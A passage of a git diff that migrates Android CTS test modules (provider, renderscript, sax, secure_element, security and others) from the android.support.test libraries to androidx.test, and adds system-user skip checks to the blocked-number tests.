import android.graphics.pdf.PdfDocument;
import android.print.PrintAttributes;
import android.print.pdf.PrintedPdfDocument;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.BeforeClass;
import org.junit.Test;
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
index 595df7c..e937e0c 100644
--- a/tests/tests/proto/Android.mk
+++ b/tests/tests/proto/Android.mk
@@ -37,6 +37,6 @@
LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner
+ ctstestrunner-axt
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/proto/AndroidManifest.xml b/tests/tests/proto/AndroidManifest.xml
index b8af5d0..20897cc 100644
--- a/tests/tests/proto/AndroidManifest.xml
+++ b/tests/tests/proto/AndroidManifest.xml
@@ -25,7 +25,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.util.proto.cts"
android:label="CTS tests of android.util.proto">
<meta-data android:name="listener"
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 400f0d2..005f076 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -33,8 +33,8 @@
LOCAL_USE_AAPT2 := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
junit
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 571fe6b..dbfe355d 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -119,7 +119,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.provider.cts"
android:label="CTS tests of android.provider">
<meta-data android:name="listener"
diff --git a/tests/tests/provider/AndroidTest.xml b/tests/tests/provider/AndroidTest.xml
index b1dbcc6..64fe88c 100644
--- a/tests/tests/provider/AndroidTest.xml
+++ b/tests/tests/provider/AndroidTest.xml
@@ -16,15 +16,12 @@
<configuration description="Config for CTS Provider test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
- <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
- <option name="user-type" value="system"/>
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsProviderTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="runner" value="android.support.test.runner.AndroidJUnitRunner" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="package" value="android.provider.cts" />
<option name="runtime-hint" value="7m19s" />
<option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java
index adf558b..d98a25a 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java
@@ -21,6 +21,7 @@
import android.content.ContentValues;
import android.content.Context;
import android.content.pm.PackageManager;
+import android.os.UserManager;
import android.provider.BlockedNumberContract;
import android.telecom.Log;
@@ -44,6 +45,7 @@
private String mOldTransport;
private boolean mOldBackupEnabled;
private boolean mHasFeature;
+ private boolean mIsSystemUser;
@Override
protected void setUp() throws Exception {
@@ -54,8 +56,9 @@
mUiAutomation = getInstrumentation().getUiAutomation();
mHasFeature = isFeatureSupported();
+ mIsSystemUser = isSystemUser(mContext);
- if (mHasFeature) {
+ if (mHasFeature && mIsSystemUser) {
ProviderTestUtils.setDefaultSmsApp(true, mContext.getPackageName(), mUiAutomation);
mOldTransport = ProviderTestUtils.setBackupTransport(
@@ -68,7 +71,7 @@
@Override
protected void tearDown() throws Exception {
- if (mHasFeature) {
+ if (mHasFeature && mIsSystemUser) {
wipeBackup();
clearBlockedNumbers();
ProviderTestUtils.setBackupEnabled(mOldBackupEnabled, mUiAutomation);
@@ -80,7 +83,7 @@
}
public void testBackupAndRestoreForSingleNumber() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberBackupRestoreTest");
return;
}
@@ -101,7 +104,7 @@
}
public void testBackupAndRestoreWithDeletion() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberBackupRestoreTest");
return;
}
@@ -175,4 +178,8 @@
ProviderTestUtils.wipeBackup(LOCAL_BACKUP_COMPONENT, BLOCKED_NUMBERS_PROVIDER_PACKAGE,
mUiAutomation);
}
+
+ private static boolean isSystemUser(Context context) {
+ return context.getSystemService(UserManager.class).isSystemUser();
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 30fdf24..756fa76 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -24,9 +24,11 @@
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
+import android.os.UserManager;
import android.provider.BlockedNumberContract;
import android.provider.BlockedNumberContract.BlockedNumbers;
import android.telephony.TelephonyManager;
+import android.util.Log;
import junit.framework.Assert;
@@ -42,9 +44,11 @@
// cts-tradefed
// run cts -m CtsProviderTestCases --test android.provider.cts.BlockedNumberContractTest
public class BlockedNumberContractTest extends TestCaseThatRunsIfTelephonyIsEnabled {
+ private static final String TAG = "BlockedNumberContractTest";
private ContentResolver mContentResolver;
private Context mContext;
private ArrayList<Uri> mAddedUris;
+ private boolean mIsSystemUser;
private static final String[] BLOCKED_NUMBERS_PROJECTION = new String[]{
BlockedNumbers.COLUMN_ORIGINAL_NUMBER,
@@ -56,6 +60,7 @@
mContext = getInstrumentation().getContext();
mContentResolver = mContext.getContentResolver();
mAddedUris = new ArrayList<>();
+ mIsSystemUser = isSystemUser(mContext);
}
@Override
@@ -70,6 +75,10 @@
}
public void testProviderInteractionsAsRegularApp_fails() {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
// Don't run this test if we're carrier privileged.
if (telephonyManager.checkCarrierPrivilegesForPackage(mContext.getPackageName())
@@ -123,6 +132,10 @@
}
public void testInsertAndBlockCheck_succeeds() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
assertTrue(BlockedNumberContract.canCurrentUserBlockNumbers(mContext));
@@ -150,6 +163,10 @@
}
public void testUnblock_succeeds() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
// Unblocking non-existent blocked number should return 0.
@@ -165,6 +182,10 @@
}
public void testInsert_failsWithInvalidInputs() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
try {
@@ -206,6 +227,10 @@
}
public void testUpdate_isUnsupported() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
try {
mContentResolver.update(
@@ -216,12 +241,20 @@
}
public void testIsBlocked_returnsFalseForNullAndEmpty() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
assertFalse(BlockedNumberContract.isBlocked(mContext, null));
assertFalse(BlockedNumberContract.isBlocked(mContext, ""));
}
public void testDelete() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
assertInsertBlockedNumberSucceeds("12345", "+112345");
@@ -264,6 +297,10 @@
}
public void testDelete_failsOnInvalidInputs() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
try {
@@ -285,6 +322,10 @@
}
public void testProviderNotifiesChangesUsingContentObserver() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
Cursor cursor = mContentResolver.query(BlockedNumbers.CONTENT_URI, null, null, null, null);
@@ -311,6 +352,10 @@
}
public void testAccessingNonExistentMethod_fails() throws Exception {
+ if (!mIsSystemUser) {
+ Log.i(TAG, "skipping BlockedNumberContractTest");
+ return;
+ }
setDefaultSmsApp(true);
try {
@@ -358,4 +403,8 @@
ProviderTestUtils.setDefaultSmsApp(
setToSmsApp, mContext.getPackageName(), getInstrumentation().getUiAutomation());
}
+
+ private static boolean isSystemUser(Context context) {
+ return context.getSystemService(UserManager.class).isSystemUser();
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/FontRequestTest.java b/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
index d9b8a7f..b03acab 100644
--- a/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
+++ b/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
@@ -16,18 +16,15 @@
package android.provider.cts;
import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
import android.provider.FontRequest;
-import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Base64;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/provider/src/android/provider/cts/FontsContractTest.java b/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
index ea88369..ba8777e 100644
--- a/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
@@ -36,9 +36,10 @@
import android.provider.FontsContract.Columns;
import android.provider.FontsContract.FontFamilyResult;
import android.provider.FontsContract.FontInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.internal.annotations.GuardedBy;
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
index 6ce81a0..9ed199e 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
@@ -41,7 +41,6 @@
import android.os.storage.StorageVolume;
import android.provider.MediaStore;
import android.provider.cts.GetResultActivity.Result;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -53,6 +52,9 @@
import android.util.Log;
import android.view.KeyEvent;
+import androidx.core.content.FileProvider;
+import androidx.test.InstrumentationRegistry;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
@@ -65,8 +67,6 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import androidx.core.content.FileProvider;
-
public class MediaStoreUiTest extends InstrumentationTestCase {
private static final String TAG = "MediaStoreUiTest";
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/README.txt b/tests/tests/provider/src/android/provider/cts/contacts/README.txt
index f988e5b..52b2419 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/README.txt
+++ b/tests/tests/provider/src/android/provider/cts/contacts/README.txt
@@ -3,4 +3,4 @@
They can be executed with:
$ adb shell am instrument -w -e package android.provider.cts.contacts \
- android.provider.cts/android.support.test.runner.AndroidJUnitRunner
+ android.provider.cts/androidx.test.runner.AndroidJUnitRunner
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 5da2036..4fdfcc4 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -29,7 +29,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt \
xmp_toolkit
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
diff --git a/tests/tests/renderscript/AndroidManifest.xml b/tests/tests/renderscript/AndroidManifest.xml
index 7499899..5b04206 100644
--- a/tests/tests/renderscript/AndroidManifest.xml
+++ b/tests/tests/renderscript/AndroidManifest.xml
@@ -29,7 +29,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.renderscript.cts"
android:label="CTS tests of Renderscript component">
<meta-data android:name="listener"
diff --git a/tests/tests/renderscriptlegacy/Android.mk b/tests/tests/renderscriptlegacy/Android.mk
index 8114642..f18a04d 100644
--- a/tests/tests/renderscriptlegacy/Android.mk
+++ b/tests/tests/renderscriptlegacy/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/renderscriptlegacy/AndroidManifest.xml b/tests/tests/renderscriptlegacy/AndroidManifest.xml
index bd1184f..cede25e 100644
--- a/tests/tests/renderscriptlegacy/AndroidManifest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidManifest.xml
@@ -27,7 +27,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.renderscriptlegacy.cts"
android:label="CTS tests of Renderscript component">
<meta-data android:name="listener"
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index 637f08e..df16f46 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -27,7 +27,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
diff --git a/tests/tests/rsblas/AndroidManifest.xml b/tests/tests/rsblas/AndroidManifest.xml
index f6099fb..cf27505 100644
--- a/tests/tests/rsblas/AndroidManifest.xml
+++ b/tests/tests/rsblas/AndroidManifest.xml
@@ -25,7 +25,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.rsblas"
android:label="CTS tests of RenderScript IntrinsicBLAS">
<meta-data android:name="listener"
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index f5c20ca..bb6dddc 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -28,7 +28,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
diff --git a/tests/tests/rscpp/AndroidManifest.xml b/tests/tests/rscpp/AndroidManifest.xml
index 035d242..da6084b 100644
--- a/tests/tests/rscpp/AndroidManifest.xml
+++ b/tests/tests/rscpp/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.rscpp.cts"
android:label="CTS tests of RenderScript C++ component">
<meta-data android:name="listener"
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index d854016..b7e4b80 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/sax/AndroidManifest.xml b/tests/tests/sax/AndroidManifest.xml
index c15bd7a..0a7a92b 100644
--- a/tests/tests/sax/AndroidManifest.xml
+++ b/tests/tests/sax/AndroidManifest.xml
@@ -22,7 +22,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.sax.cts"
android:label="CTS tests of android.sax">
<meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
index c9b40f4..cd1b65b 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
@@ -25,8 +25,8 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util
+ ctstestrunner-axt \
+ compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
index 87a7aa5..c28ddcc 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
@@ -22,7 +22,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for Open Mobile API"
android:targetPackage="android.omapi.accesscontrol1.cts">
<meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
index 4ea5b59..4eb7cb9 100755
--- a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
@@ -22,6 +22,18 @@
import static org.junit.Assert.*;
import static org.junit.Assume.assumeTrue;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -31,17 +43,6 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
-import android.content.pm.PackageManager;
-import android.os.RemoteException;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-import android.os.Build;
-import com.android.compatibility.common.util.PropertyUtil;
-
public class AccessControlTest {
private final static String UICC_READER_PREFIX = "SIM";
private final static String ESE_READER_PREFIX = "eSE";
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
index eff645d..f653ef3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
@@ -25,8 +25,8 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util
+ ctstestrunner-axt \
+ compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
index e92a577..c9b9055 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
@@ -22,7 +22,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for Open Mobile API"
android:targetPackage="android.omapi.accesscontrol2.cts">
<meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
index 5998cea..e3eb557 100755
--- a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
@@ -22,6 +22,18 @@
import static org.junit.Assert.*;
import static org.junit.Assume.assumeTrue;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -31,17 +43,6 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
-import android.content.pm.PackageManager;
-import android.os.RemoteException;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-import android.os.Build;
-import com.android.compatibility.common.util.PropertyUtil;
-
public class AccessControlTest {
private final static String UICC_READER_PREFIX = "SIM";
private final static String ESE_READER_PREFIX = "eSE";
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
index 29e38f3..08f8942 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
@@ -25,8 +25,8 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util
+ ctstestrunner-axt \
+ compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
index dd6375c..1634f77 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
@@ -22,7 +22,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for Open Mobile API"
android:targetPackage="android.omapi.accesscontrol3.cts">
<meta-data android:name="listener"
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
index cdf8893..7260c4f 100755
--- a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
@@ -22,6 +22,18 @@
import static org.junit.Assert.*;
import static org.junit.Assume.assumeTrue;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -31,17 +43,6 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
-import android.content.pm.PackageManager;
-import android.os.RemoteException;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-import android.os.Build;
-import com.android.compatibility.common.util.PropertyUtil;
-
public class AccessControlTest {
private final static String UICC_READER_PREFIX = "SIM";
private final static String ESE_READER_PREFIX = "eSE";
diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk
index 4378136..1ac3720 100644
--- a/tests/tests/secure_element/omapi/Android.mk
+++ b/tests/tests/secure_element/omapi/Android.mk
@@ -25,8 +25,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util
+ ctstestrunner-axt \
+ compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/secure_element/omapi/AndroidManifest.xml b/tests/tests/secure_element/omapi/AndroidManifest.xml
index ce5ccc9..e19fb85 100644
--- a/tests/tests/secure_element/omapi/AndroidManifest.xml
+++ b/tests/tests/secure_element/omapi/AndroidManifest.xml
@@ -22,7 +22,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for Open Mobile API"
android:targetPackage="android.omapi.cts">
<meta-data android:name="listener"
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
index c9d21bb..e34d307 100755
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -21,6 +21,18 @@
import static org.junit.Assert.*;
import static org.junit.Assume.assumeTrue;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.se.omapi.Channel;
+import android.se.omapi.Reader;
+import android.se.omapi.SEService;
+import android.se.omapi.SEService.OnConnectedListener;
+import android.se.omapi.Session;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -35,16 +47,6 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
-import android.content.pm.PackageManager;
-import android.se.omapi.Channel;
-import android.se.omapi.Reader;
-import android.se.omapi.SEService;
-import android.se.omapi.SEService.OnConnectedListener;
-import android.se.omapi.Session;
-import android.support.test.InstrumentationRegistry;
-import android.os.Build;
-import com.android.compatibility.common.util.PropertyUtil;
-
public class OmapiTest {
private final static String UICC_READER_PREFIX = "SIM";
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index f158e68..f4ae8a7 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -22,11 +22,11 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
android-common \
ctstestserver \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
guava \
platform-test-annotations
